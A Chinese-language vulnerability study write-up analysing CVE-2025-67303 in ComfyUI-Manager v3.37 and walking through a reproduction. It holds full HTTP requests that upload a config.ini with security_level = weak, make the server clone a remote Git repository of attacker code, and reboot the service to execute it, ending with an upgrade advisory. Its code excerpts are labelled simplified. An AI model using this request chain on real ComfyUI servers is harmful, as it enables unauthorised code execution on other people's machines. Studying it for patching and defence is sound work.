CVE-2025-67303(ComfyUI RCE)漏洞学习(代码层面深度分析)
CVE-2025-67303(ComfyUI RCE)漏洞学习(代码层面深度分析)
CVE-2025-67303(ComfyUI RCE)漏洞学习(代码层面深度分析)
一、前言
1. 文章目的
本报告聚焦于 CVE-2025-67303 漏洞的代码层面深度解析与高效利用链复现(避开路径篡改猴子补丁部分),梳理漏洞产生的核心技术根源、完整利用流程及防御方案,旨在为社区安全爱好者、开发者提供学习参考,提升对 Python Web 应用、插件生态安全的认知,避免同类漏洞的重现。
2. 漏洞核心概述
- 漏洞编号:CVE-2025-67303
- 影响产品:ComfyUI(搭配 ComfyUI-Manager 插件)
- 影响版本:ComfyUI-Manager v3.37(唯一漏洞版本,v3.40 + 已修复)
- 漏洞类型:远程代码执行(RCE)
- 漏洞等级:严重
- 核心利用链(优化版,高成功率,无需路径篡改):
上传恶意config.ini获取接口权限→调用git_url接口克隆恶意仓库(写入__init__.py)→调用reboot接口重启触发RCE
3. 前置知识储备:ComfyUI 重启时的__init__.py加载执行逻辑
ComfyUI 的插件生态完全依赖 Python 的包机制,custom_nodes/目录是其核心插件存放目录,重启时对__init__.py的加载执行是插件生效的必要流程,具体逻辑如下:
- 加载触发时机:ComfyUI 重启(或首次启动)时,会自动扫描
custom_nodes/目录下的所有子目录(即各个插件包),这是插件初始化的核心步骤,无需用户手动操作、无需额外配置,属于自动执行的流程。 - 扫描与加载流程(简化版):
步骤1:ComfyUI启动,定位核心插件目录`custom_nodes/`;
步骤2:遍历`custom_nodes/`下的所有一级子目录(如`ComfyUI_CustomNodes/`、`恶意仓库目录/`);
步骤3:对每个子目录,判断是否存在`__init__.py`(识别为合法插件包);
步骤4:若存在`__init__.py`,则通过Python解释器导入该包(等价于`import 插件目录名`);
步骤5:导入过程中,自动执行`__init__.py`中的所有顶层代码,完成插件初始化(如注册节点、加载功能);
步骤6:加载完成后,插件生效,ComfyUI正常启动完成。- 关键特性(漏洞利用的核心抓手):
- 无差别加载:ComfyUI 对
custom_nodes/下的目录无「白名单 / 黑名单」过滤,无论目录是官方插件、第三方插件,还是攻击者克隆的恶意仓库,只要包含__init__.py,都会被同等加载执行; - 无内容校验:加载过程中仅判断
__init__.py是否存在、是否有 Python 语法错误,不校验文件中的代码是否合法、是否包含恶意系统命令,完全信任custom_nodes/目录下的文件; - 高权限执行:
__init__.py中的代码以「ComfyUI 运行进程」的权限执行(通常为当前登录用户权限),可执行任意系统命令、读写任意用户权限范围内的文件,这也是恶意代码能实现有效攻击的关键。
所以只要我们能上传一个包含恶意代码的__init__.py文件,那么就能达到命令执行的效果
二、漏洞核心技术根源(代码层面深度分析)
模块 1:RCE 落地核心 ——/customnode/install/git_url与/manager/reboot接口
ComfyUI-Manager v3.37 提供的两个辅助接口 ——/customnode/install/git_url(恶意文件写入)与/manager/reboot(恶意代码触发),形成了完整的 RCE 落地闭环,且均能通过上述权限漏洞绕过访问限制。
1. /customnode/install/git_url接口(恶意文件写入核心)
该接口的原生功能是通过 Git 仓库 URL 快速克隆 ComfyUI 自定义节点,底层执行git clone命令,将远程仓库内容克隆到custom_nodes/目录(ComfyUI 启动时自动加载的核心目录),代码解析如下:
- 直接接收请求体文本作为 Git URL,无严格过滤,支持攻击者传入恶意仓库 URL;
- 底层
core.gitclone_install(url)会将仓库克隆到custom_nodes/目录(ComfyUI 启动时自动加载的目录); - 攻击者只需搭建包含
__init__.py恶意代码的公开 Git 仓库,即可通过该接口将恶意文件写入custom_nodes/目录,无需手动构造复杂的文件上传请求。

@routes.post("/customnode/install/git_url")
async def install_custom_node_git_url(request):
if not is_allowed_security_level('high'):
logging.error(SECURITY_MESSAGE_NORMAL_MINUS)
return web.Response(status=403)
url = await request.text()
res = await core.gitclone_install(url)
if res.action == 'skip':
logging.info(f"\nAlready installed: '{res.target}'")
return web.Response(status=200)
elif res.result:
logging.info("\nAfter restarting ComfyUI, please refresh the browser.")
return web.Response(status=200)
logging.error(res.msg)
return web.Response(status=400)要想调用这个接口,有一个校验方法is_allowed_security_level(),跟进这个方法发现
- 接口要求
required_level = 'high',正常情况下需要current_level = 'high'才能通过校验; - 当
current_level = 'weak'时,函数直接返回True,跳过所有校验,无论接口要求的权限级别多高,都能直接访问; - 攻击者只需上传
config.ini并配置security_level = weak,或则直接覆盖原本的config.ini文件,即可绕过权限校验,调用/customnode/install/git_url等高权限接口。

2. /manager/reboot接口(恶意代码触发核心)
该接口的原生功能是重启 ComfyUI 服务,方便用户在安装新插件后无需手动终端操作即可生效,而 ComfyUI 重启时会自动扫描custom_nodes/目录下的所有 Python 包,执行__init__.py中的代码,形成 RCE 触发条件,核心简化代码如下:
同样的,这个也是需要我们配置等级为weak才能调用

@routes.post("/manager/reboot")
async def reboot_comfyui(request):
# 权限校验(同样可通过weak级别无条件绕过)
if not is_allowed_security_level('high'):
return web.Response(status=403)
# 核心逻辑:终止当前ComfyUI进程,自动重启服务
logging.info("Rebooting ComfyUI...")
# 简化版重启逻辑:后台执行main.py,终止当前进程
os.system("python main.py --cpu &")
os._exit(0)
# 返回重启成功状态码
return web.Response(status=200)模块 2:权限校验缺陷 ——config.ini与is_allowed_security_level函数
ComfyUI-Manager v3.37 的权限校验机制依赖config.ini中的security_level配置,而该配置的读取逻辑与权限校验逻辑均存在设计缺陷,为攻击者提供了便捷的权限绕过路径,也是本次利用链的核心铺垫。
1. 配置文件读取逻辑(设计缺陷)
ComfyUI-Manager v3.37 会按「优先级」查找多个目录下的config.ini,其中user/default/ComfyUI-Manager/config.ini(ComfyUI 原生接口允许写入的路径)是优先查找路径,无需突破任何目录限制即可实现配置篡改,核心简化代码如下:
import configparser
import os
def load_manager_config():
# 定义配置文件查找路径(优先级从高到低)
config_paths = [
# 优先级1:用户数据目录(原生/api/userdata/接口可直接写入,无需额外突破)
os.path.join("./user/default/", "ComfyUI-Manager", "config.ini"),
# 优先级2:插件主目录(无需关注,本次利用链不依赖)
os.path.join("./", "ComfyUI-Manager", "config.ini"),
# 优先级3:全局配置目录(可选,无实际利用价值)
os.path.join("./config/", "ComfyUI-Manager", "config.ini")
]
# 依次查找配置文件,找到第一个即停止查找并加载
config = configparser.ConfigParser()
for config_path in config_paths:
if os.path.exists(config_path):
config.read(config_path)
return config
# 无配置文件时返回默认配置,默认安全级别为normal
default_config = configparser.ConfigParser()
default_config['settings'] = {'security_level': 'normal'}
return default_config设计缺陷核心分析:
- 优先读取
user/default/ComfyUI-Manager/config.ini,该路径属于 ComfyUI 原生/api/userdata/接口的合法操作范围,攻击者无需依赖任何路径篡改漏洞,即可通过原生接口上传 / 修改配置文件; - 配置查找无额外校验,只要文件存在即会被加载,且无签名验证、权限限制,攻击者可随意构造配置内容,为后续权限绕过提供了基础;
- 无配置文件时默认
security_level = normal,而weak级别被设计为最低权限级别,却存在特殊放行逻辑,形成权限校验漏洞。
2.结合上传接口上传配置文件

这里我们关注下path的值怎么来的,进入校验方法


但是整体没有检验上传的文件类型,所以我们可以构造请求上传特定的文件config.ini
这里给出示例poc
POST /api/userdata/ComfyUI-Manager%2fconfig.ini HTTP/1.1
Host: 127.0.0.1:8188
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Comfy-User:
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8188/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 454
[default]
preview_method = none
git_exe =
use_uv = False
channel_url = https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
share_option = all
bypass_ssl = False
file_logging = True
component_policy = workflow
update_policy = stable-comfyui
windows_selector_event_loop_policy = False
model_download_by_agent = False
downgrade_blacklist =
security_level = weak
always_lazy_install = False
network_mode = public
db_mode = cache三、环境搭建+漏洞复现
环境搭建
- 源码下载:
ComfyUI https://codeload.github.com/Comfy-Org/ComfyUI/zip/refs/tags/v0.7.0
ComfyUI-Manager-3.37 https://github.com/Comfy-Org/ComfyUI-Manager/releases/tag/3.37
将下载好的ComfyUI-Manager-3.37解压至ComfyUI的ComfyUI-0.7.0\ComfyUI-0.7.0\custom_nodes目录下
- 搭建环境:
这里我使用隔离的python环境搭建,python版本python3.10
来到
.\python3.10\python.exe -m venv comfyui-venv
comfyui-venv\Scripts\activate.bat
python -m pip install --upgrade pip
# 临时配置当前终端的HTTP/HTTPS代理,对应代理工具的7890端口,后面会访问GitHub下载恶意代码会用到
set HTTP_PROXY=http://127.0.0.1:7890
set HTTPS_PROXY=http://127.0.0.1:7890
构建好隔离的python环境后就是下载ComfyUI依赖
cd \ComfyUI-0.7.0\ComfyUI-0.7.0目录
执行
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
再下载ComfyUI-Manager的依赖
cd custom_nodes\ComfyUI-Manager-3.37
执行
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
然后回到\ComfyUI-0.7.0\ComfyUI-0.7.0目录启动项目
python -s main.py --cpu看到这玩意你就启动成功了

漏洞复现
步骤 1:上传恶意config.ini,获取高权限接口访问权限

POST /api/userdata/ComfyUI-Manager%2fconfig.ini HTTP/1.1
Host: 127.0.0.1:8188
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Comfy-User:
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8188/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 454
[default]
preview_method = none
git_exe =
use_uv = False
channel_url = https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
share_option = all
bypass_ssl = False
file_logging = True
component_policy = workflow
update_policy = stable-comfyui
windows_selector_event_loop_policy = False
model_download_by_agent = False
downgrade_blacklist =
security_level = weak
always_lazy_install = False
network_mode = public
db_mode = cache步骤 2:调用/customnode/install/git_url克隆恶意仓库下载恶意代码文件

POST /customnode/install/git_url HTTP/1.1
Host: 127.0.0.1:8188
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8188/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 52
//这里是你的git仓库
https://github.com/xxxx/comfyui-manager-calc.git步骤 3:调用/manager/reboot重启 ComfyUI,触发 RCE 落地

GET /manager/reboot HTTP/1.1
Host: 127.0.0.1:8188
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Comfy-User:
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8188/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
成功弹出计算机

四、漏洞防御
- 升级 ComfyUI-Manager 插件:立即升级到 v3.40 + 版本,该版本已修复
config.ini读取逻辑与权限校验逻辑的缺陷,删除了weak级别无条件放行的漏洞,同时强化了接口参数过滤;
五、免责声明
本报告仅用于安全学习与研究目的,禁止用于任何未授权的第三方系统攻击与测试。任何基于本报告的恶意行为,均由行为人自行承担全部法律责任。遵守《网络安全法》等相关法律法规,维护网络安全环境,是每个公民与开发者的责任与义务。
本文深入解析CVE-2025-67303漏洞的成因与利用链,涵盖权限绕过、恶意文件写入及RCE触发全过程。
由 AI 根据全文自动生成,仅供参考,以原文为准